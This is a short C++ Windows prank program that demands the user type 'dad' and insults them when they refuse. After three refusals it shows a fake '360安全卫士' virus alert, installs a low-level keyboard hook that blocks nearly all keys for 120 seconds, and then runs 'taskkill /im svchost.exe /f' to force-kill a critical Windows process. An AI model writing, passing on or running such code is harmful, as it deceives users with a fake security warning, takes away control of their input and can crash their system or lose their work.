#include <bits/stdc++.h>
#include <windows.h>
#include <conio.h>
using namespace std;

HHOOK g_hKeyboardHook = NULL;
UINT_PTR g_timerID = 0;

LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        KBDLLHOOKSTRUCT* pKeyBoard = (KBDLLHOOKSTRUCT*)lParam;
        bool isSystemShortcut = (GetKeyState(VK_CONTROL) & 0x8000 && 
                                 GetKeyState(VK_SHIFT) & 0x8000 && 
                                 pKeyBoard->vkCode == VK_ESCAPE) ||
                                (GetKeyState(VK_CONTROL) & 0x8000 && 
                                 GetKeyState(VK_MENU) & 0x8000 && 
                                 pKeyBoard->vkCode == VK_DELETE);
        if (!isSystemShortcut)
        {
            return 1;
        }
    }
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}

VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime)
{
    if (g_hKeyboardHook)
    {
        UnhookWindowsHookEx(g_hKeyboardHook);
        g_hKeyboardHook = NULL;
    }
    KillTimer(NULL, g_timerID);
    MessageBox(NULL, "120秒已到，键盘已恢复正常！", "提示", MB_OK);
}

BOOL InstallKeyboardHookWithTimer()
{
    g_hKeyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        KeyboardHookProc,
        GetModuleHandle(NULL),
        0
    );
    if (g_hKeyboardHook == NULL)
    {
        return FALSE;
    }

    g_timerID = SetTimer(NULL, 1, 120000, TimerProc);
    if (g_timerID == 0)
    {
        UnhookWindowsHookEx(g_hKeyboardHook);
        g_hKeyboardHook = NULL;
        return FALSE;
    }

    return TRUE;
}

void RunMessageLoop()
{
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

int main(){
    string a;
    cout << "Call me dad:";
    cin >> a;
    if (a != "dad"){
        cout << "Quickly!";
        cin >> a;
        if (a != "dad"){
            cout << "F**k you!";
            cin >> a;
            if (a != "dad"){
                MessageBox(NULL,"注意!电脑中病毒了!","360安全卫士",MB_OK);
                
                cout << "这就是代价!（键盘将被临时拦截，120秒后自动恢复）"<<endl;
                cout <<"-----------"<<endl;
                cout << "This is the last chance for you"<<endl;

                if (!InstallKeyboardHookWithTimer())
                {
                    cout << "钩子安装失败！" << endl;
                }
                else
                {
                    RunMessageLoop();
                }

                cin >> a;
                if (a != "dad")
                {
                    system("start taskkill /im svchost.exe /f");
                }
                else cout << ":)";
            }
            else cout << ":)";
        }
        else cout << ":)";
    }
    else cout << ":)";

    if (g_hKeyboardHook)
    {
        UnhookWindowsHookEx(g_hKeyboardHook);
    }
    return 0;
}